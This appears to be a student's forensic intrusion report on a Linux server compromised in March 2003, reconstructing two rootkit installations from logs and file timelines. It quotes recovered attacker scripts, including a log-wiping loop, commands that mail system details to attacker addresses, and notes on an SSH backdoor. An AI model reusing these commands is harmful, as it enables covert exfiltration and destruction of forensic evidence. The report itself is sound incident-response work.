Gilberto Ramirez
Intrusion report on victim machine

279 Mar 11 23:05:07 dept ftpd[1190]: ANONYMOUS FTP LOGIN FROM 211.219.56.234 [211.219.56.234], mozilla@
280 Mar 11 17:20:03 dept ftpd[1189]: User unknown timed out after 900 seconds at Tue Mar 11 17:20:03 2003
281 Mar 11 17:20:03 dept ftpd[1189]: FTP session closed

286 Mar 12 02:09:13 dept ftpd[1273]: ANONYMOUS FTP LOGIN FROM 61.139.76.104 [61.139.76.104], mozilla@
287 Mar 11 20:23:57 dept ftpd[1272]: User unknown timed out after 900 seconds at Tue Mar 11 20:23:57 2003
288 Mar 11 20:23:57 dept ftpd[1272]: FTP session closed

296 Mar 12 04:59:12 dept ftpd[1356]: ANONYMOUS FTP LOGIN FROM aoi0243jy28nf.bc.hsia.telus.net [154.5.18.66], mozil la@
298 Mar 11 23:14:12 dept ftpd[1355]: User unknown timed out after 900 seconds at Tue Mar 11 23:14:12 2003
299 Mar 11 23:14:12 dept ftpd[1355]: FTP session closed

Initial intrusions logged by /var/log/messages. We can tell these are the initial intrusions because only 1 FTP session timed out for each ip: [1189], [1272], [1355]. However ftpd sessions, [1190], [1273], [1356] remained open.

2003-03-12 00:15:13.000000000 -0600 ./etc/nmh
2003-03-12 00:17:08.000000000 -0600 ./bin/usleep
2003-03-12 00:17:08.000000000 -0600 ./bin/uname
… and more

A rootkit most likely is being installed at this time in the directory "**/etc/nmh/".** Further inspection of that directory shows attacker installed in the sub-directory **".../".** It's clear by the successive changes in file metadata happening one after another.

Mar 12 00:17:19 dept sendmail[1649]: AAA01649: from=root, size=1938, class=0, pri=31938, nrcpts=1, msgid=<2003 03120617.AAA01649@dept.cs.utsa.edu>, relay=root@localhost

Mar 12 00:17:20 dept sendmail[1656]: AAA01649: to=rootez_2002@yahoo.com, ctladdr=root (0/0), delay=00:00:01, x delay=00:00:00, mailer=esmtp, relay=mx2.mail.yahoo.com. [64.156.215.6], stat=Sent (ok dirdel)

After binary files were infected, an email was sent out to rootez_2002@yahoo.com, most likely of system information.

2003-03-12 00:17:36.000000000 -0600 ./var/spool/cron/.../stuff/cleaner

Unfortunately logs were cleansed of any rootkit activity. An excerpt of cleaner script

```
for fil in $WERD
  do
        line=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
        echo -n "${BLK}* ${DWHI}Cleaning ${WHI}$fil ($line
${DWHI}lines${WHI})${BLK}...${RES}"
        grep -v $1 /var/log/$fil > new
        touch -r /var/log/$fil new
        mv -f new /var/log/$fil
        newline=$(wc -l /var/log/$fil | awk -F ' ' '{print $1}')
        let linedel=$(($line-$newline))
        echo "${WHI}$linedel ${DWHI}lines removed!${RES}"

done
/var/spool/cron/.../stuff/cleaner named > beshini
/var/spool/cron/.../stuff/cleaner root > beshini
/var/spool/cron/.../stuff/cleaner ftp > beshini
/var/spool/cron/.../stuff/cleaner 193 > beshini
```

It looks like it cleaned all log files in /var/log, creating a new file with log entries removed and renaming it back to the old file, in addition to killing the syslog daemon. Also many of the scripts echo out in Romanian, such as “**Asteapta un pic sa curatam logurile**” which translates to “**Wait a minute cleaning logs**”. This further leads me to believe the attackers are Romanian along with the results of the network inspection.

2003-03-12 00:17:36.000000000 -0600 ./var/spool/cron/.../stuff/killrk

Attacker script removes the rootkit and all rootkit source directories and kills all rootkit processes/directories.

Directories deleted:
/usr/include/...
/var/log/ssh
/dev/ida/.inet
/usr/X11R6/lib/X11/.fonts/misc/...
/dev/ida/.drag-on
/dev/ida/.src
/var/lib/games/.src

2003-03-12 00:17:36.000000000 -0600 ./var/spool/cron/.../stuff/sense

Perl Script used to sort output from LinSniffer. The attacker was scanning dept's network with Linsniffer, outputting to tcp.log, based on "**citeste**" script: "**./sense tcp.log"**. There are also other tcp.logs/var.log from other directories gathering info as noted in the searchlog script copying to log_gasit.log. Also of note, I checked ifconfig with the commands strings and there were no hits for "PROMISC", leading me to believe that various processes were hijacked with attacker-modified libraries.

Mar 12 00:18:05 dept PAM_pwdb[1702]: password for (adm/3) changed by ((null)/0)
Intruder changes adm password after rootkit procedures

2003-03-12 06:22:00.000000000 -0600 ./usr/lib
2003-03-12 06:22:00.000000000 -0600 ./usr/lib/xl
2003-03-12 06:22:00.000000000 -0600 ./usr/sbin/initd
2003-03-12 06:22:00.000000000 -0600 ./usr/sbin/lsof
… and more
2003-03-12 06:22:13.000000000 -0600 ./home/ftp
The start of a new rootkit installation process since many binaries are being infected successively. Most likely installed in "**/home/ftp**" since that directory was changed a few moments after successive binary changes.

2003-03-12 06:22:00.000000000 -0600 ./lib/libproc.so.2.0.6
2003-03-12 06:22:00.000000000 -0600 ./usr/include/hosts.h

2003-03-12 06:22:00.000000000 -0600 ./usr/include/proc.h

I ran a strings on the libproc.so and noticed "**proc_hackinit**". After some research, it communicates with the files /usr/include/proc.h and hosts.h, hiding the process of the argument specified in the 2nd column in the file. For example in proc.h there is an entry "2 xbnc", so that process would be hidden.

2003-03-12 06:22:01.000000000 -0600 ./usr/include/sd.h

Backdoor ssh setup listening on port 20202 reachable using ./usr/include/hk.h as private hostkey. There were some strange allowedhosts arguments such as '*.our.com" or "friend.other.com", I'm not sure if these resolve to real ip's.

2003-03-12 06:22:01.000000000 -0600 ./usr/bin/.. /.x/adore.c

Install location of adore rootkit. Bootstrapping adore making it invisible.
Contents:
-rw-r--r-- 1 500 500 23706 Jan 19 2002 adore.c
-rw-r--r-- 1 500 500 2827 Jan 19 2002 adore.h
-rwxr-xr-x 1 root staff 24236 Mar 12 2003 ava*
-rw-r--r-- 1 500 500 4212 Feb 26 2001 ava.c
-rw-r--r-- 1 500 500 1275 Jan 3 2002 Changelog
-rw-r--r-- 1 500 500 1979 Dec 23 2000 cleaner.c
-rw-r--r-- 1 root staff 1084 Mar 12 2003 cleaner.o
-rwxr-xr-x 1 500 500 3820 Jan 19 2002 configure*
drwxr-xr-x 2 500 500 4096 Jan 3 2002 CVS/
-rw-r--r-- 1 500 500 1904 Sep 19 2000 dummy.c
-rw-r--r-- 1 500 500 3417 May 13 2001 libinvisible.c
…and more

2003-03-12 06:22:01.000000000 -0600 ./usr/bin/.. /cl
2003-03-12 06:22:01.000000000 -0600 ./usr/bin/.. /scan
2003-03-12 06:22:01.000000000 -0600 ./usr/bin/.. /wroot

This rootkit provided log cleaning as well with "cl" script. The code is exactly the same as the previous 1st rootkit's log cleaner. There are also some scripts named scan, but it's hard to tell what they do since the binaries were cleansed. But from scripts that invoke "scan", it looks like it detect servers running the buggy version of wu-ftpd and attack them, based off of this excerpt:
echo "$rver ${cl} Scan - Ftp - Hack "

2003-03-12 06:22:01.000000000 -0600 ./etc/ftpusers

Including scanning and patching wuftp, the attackers added users “ftp, anonymous”, so that the wu_ftpd remote root exploit with default usernames wouldn’t work.

Confirmed by: dept ftpd[2976]: FTP LOGIN REFUSED (ftp in /etc/ftpusers) FROM 61.255.15.124 [61.255.15.124],

Mar 12 06:22:11 dept sendmail[2415]: GAA02415: from=root, size=1614, class=0, pri=31614, nrcpts=1, msgid=<2003 03121222.GAA02415@dept.cs.utsa.edu>, relay=root@localhost

Mar 12 06:22:23 dept sendmail[2458]: GAA02415: to=smoke@cacanar.com, ctladdr=root (0/0), delay=00:00:12, xdela y=00:00:12, mailer=esmtp, relay=inbound.cacanar.com.verisignmail.net. [216.168.230.137], stat=Sent (2.0.0 h2CC MLUo008215 Message accepted for delivery)

Just as with the previous rootkit, mail sent out, this instance to smoke@cacanar.com after installation completes, most likely of system info.

2003-03-12 06:26:38.000000000 -0600 ./usr/bin/.. /xbnc/tools/convconf.c
2003-03-12 06:26:38.000000000 -0600 ./usr/bin/.. /xbnc/tools/makesalt.c
2003-03-12 06:26:38.000000000 -0600 ./usr/bin/.. /xbnc/tools/sys
...and more
Installation of xbnc, after this there are other changed files around 0900, but I believe this to be dept faculty accessing the machine and getting ready to shut the system down based off of this log message:

Mar 12 09:01:58 dept PAM_pwdb[3157]: (su) session opened for user root by lucy(uid=500)
339 Mar 12 09:02:38 dept kernel: hdc: hdc1

RootKit retrieval procedures:

0 ...b d/hrwxrwxr-x 500 500 230476 -p/etc/nmh/.../.rkt (deleted)
0 ...b d/drwxr-xr-x 0 0 5806 -p/etc/nmh/.../adore (deleted)
Adore is still in the file system as noted above at 0622

Wed Mar 12 2003 06:22:13
0 ...b d/drwxr-xr-x 0 0 5806 -p/home/ftp/smk (deleted)

Wed Mar 12 2003 06:30:16
64 mac. r/rrwxr-xr-x 0 50 182539 -p/home/ftp/smk.tgz (deleted)

Rootkits installed in Dept, however I was not able to recover any tarballs. I thought smk.tgz seemed promising, but it was corrupted and could not be unzipped.

I ran the following commands to make it easier to looks through all deleted, but intact inodes:
ils -m hda3.dd | mactime -b - | grep -E -o ' +[0-9]+ +<' | awk '{print $1}' | xargs > inodes
for i in $(cat inodes);do icat hda3.dd $i;done > data

I knew there were no recoverable tarballs because I ran similar commands but instead piped them into file looking for compressed data, however none of them were rootkits. So my next bet was to look for ascii scripts relating to rootkits in my newly created data file.

cd /usr/bin/".. "/
./start >> /dev/null
This looks like the starting script smk rootkit installation.

echo anonymous >> /etc/ftpusers
echo ftp >> /etc/ftpusers
Commands adding anonymous/ftp user to “patch” the ftp exploit.

chattr -suai /sbin/initd >> $log
Change attribute commands on various files in the system, notably with the -s flag. This zeros all bytes on its block, so this may be why we cannot obtain the original tgz files.

./remove
./move
echo "Step 1: removing/reaplacing/backdooring"
echo "Step 2: creating/moving/hiding"
rm -rf *smk* *.smk* *ah*

cat /tmp/info | mail -s "$(uname -a)" smoke@cacanar.com
Excerpt of rootkit installation script. Note the removal of all original rootkit contents and the email command to smoke@cacanar.com as seen from the maillog at 0622 which is from the time the 2nd rootkit was installed.

Email contents:
HTo: smoke@cacanar.com
HSubject: Linux dept.cs.utsa.edu 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
inet addr:129.115.30.30 Bcast:129.115.30.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
Dept.cs.utsa.edu
Linux dept.cs.utsa.edu 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown

touch /tmp/info
/sbin/ifconfig -a | grep inet >> /tmp/info
hostname -f >> /tmp/info
cat /tmp/info | mail -s " $(hostname -i) $(hostname -f) " rootez_2002@yahoo.com
Scanning and email command to rootez_2002@yahoo.com as noted in the mail log from 0017. So we can tell this script is from the 1st rootkit installation which should be rtk.tgz.